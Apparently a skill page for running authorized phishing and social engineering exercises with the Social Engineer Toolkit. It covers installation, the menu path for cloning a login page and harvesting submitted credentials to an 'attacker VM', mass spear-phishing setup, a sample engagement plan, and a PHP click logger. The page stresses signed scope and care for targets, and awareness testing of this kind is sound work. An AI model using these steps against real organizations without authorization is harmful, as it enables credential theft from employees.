协作头脑风暴
brainstorming
在实现前澄清需求、探索设计选择,并形成清晰的开发方向。
social-engineer-toolkit【开发与工程】Run authorized red team social engineering assessments with the Social Engineer Toolkit (SET). Use when a user asks to simulate a phishing campaign for security awareness training, clone a login page for a sanctioned exercise, or test an organization's human-layer defenses under a signed engagement.
独立 GitHub 快照 · 自动分类 · 以原作者文档为准
SET is an open-source red-team framework by TrustedSec that automates the infrastructure side of authorized social engineering exercises: website cloning for credential-harvesting simulations, spear-phishing email staging, QR code generation, and payload delivery. It is strictly for engagements you have signed, scoped permission to run — typically security awareness programs, red team operations, and table-top exercises. Using SET outside of that scope is illegal and this skill does not support that.
Before touching SET:
No ROE → no SET. Stop here.
# Recommended on Kali Linux or WSL:
sudo apt update && sudo apt install set -y
# Or from source (SET 8.1.3 targets Python 3.11-3.13):
git clone --depth 1 --branch 8.1.3 https://github.com/trustedsec/social-engineer-toolkit.git set
cd set
pip install -r requirements.txt
sudo python3 setup.py install # review setup.py before running it
# Run SET in a dedicated VM — never on a shared host
sudo setoolkit
# From the SET main menu:
1) Social-Engineering Attacks
→ 2) Website Attack Vectors
→ 3) Credential Harvester Attack Method
→ 2) Site Cloner
# Prompts:
IP address for POST back in Harvester/Tabnabbing: 203.0.113.10 (your attacker VM, inside the ROE-approved range)
Enter the url to clone: https://login.acme-internal.com
# SET clones the page and listens on :80
# Collected credentials are written to:
/var/www/html/harvester_<timestamp>.txt
Operational notes:
acme-internal-login.example).From SET main menu:
1) Social-Engineering Attacks
→ 1) Spear-Phishing Attack Vectors
→ 1) Perform a Mass Email Attack
# Prompts walk you through:
# Template or custom subject/body
# Attacker sender profile (use authorized sending infrastructure only)
# Target list (one email per line, must match the ROE scope)
# SMTP server (your own authorized relay, never the client's)
# Template the body in a separate file so it goes through client review BEFORE sending.
SET's default templates are dated. Always write your own pretext, have it approved, and A/B the wording with your internal safety-review process before any target receives it.
# Export results as you go
cp /var/www/html/harvester_*.txt cases/acme-2026-04/evidence/
# Stop SET listeners and tear down the VM when the window closes
# (Ctrl+C out of SET, then:)
sudo systemctl stop apache2 2>/dev/null
sudo shutdown -h now
# Metrics to report (not individual identification)
# - click-through rate
# - credential-submission rate
# - report-to-security rate
# - median time-to-report
Immediately after the window:
Scope (from ROE):
Client: Acme Corp
Targets: 120 employees in the Finance department
Window: 2026-04-15 to 2026-04-19
Pretexts: "mandatory benefits update" landing page
Sending infra: mail.acme-awareness.example (owned by Acme security team)
Landing URL: acme-benefits-update.example (registered, HTTPS, under security)
Run:
1) Draft pretext → legal & HR approve
2) Clone https://benefits.acme.com with SET Site Cloner
3) Send emails via authorized relay on the approved day
4) Monitor harvester logs for clicks and submissions
5) Auto-redirect submissions to a "You've been phished" training page
6) Rotate any submitted credentials same day
7) Debrief Finance leadership and publish metrics
# SET's cloned pages are fine for training scenarios, but the pretext matters more
# than the HTML. Host a minimal, branded page on your own VM and point the ROE-
# approved domain at it:
mkdir -p /var/www/awareness && cd /var/www/awareness
# index.html: branded "Benefits Portal" mimic, with an action that POSTs to /collect
# collect.php: records {email, user-agent, click-time} to a local SQLite DB — NOT the password
cat > collect.php <<'PHP'
<?php
$db = new SQLite3('/var/www/awareness/clicks.db');
$db->exec('CREATE TABLE IF NOT EXISTS clicks (id INTEGER PRIMARY KEY, email TEXT, ua TEXT, t INTEGER)');
$stmt = $db->prepare('INSERT INTO clicks (email, ua, t) VALUES (?, ?, ?)');
$stmt->bindValue(1, $_POST['email'] ?? '');
$stmt->bindValue(2, $_SERVER['HTTP_USER_AGENT'] ?? '');
$stmt->bindValue(3, time());
$stmt->execute();
header('Location: /training/phished.html');
PHP
# For an awareness campaign you DO NOT need to capture passwords — clicks are enough.
# Treat credential collection as an extra privilege that must be separately authorized.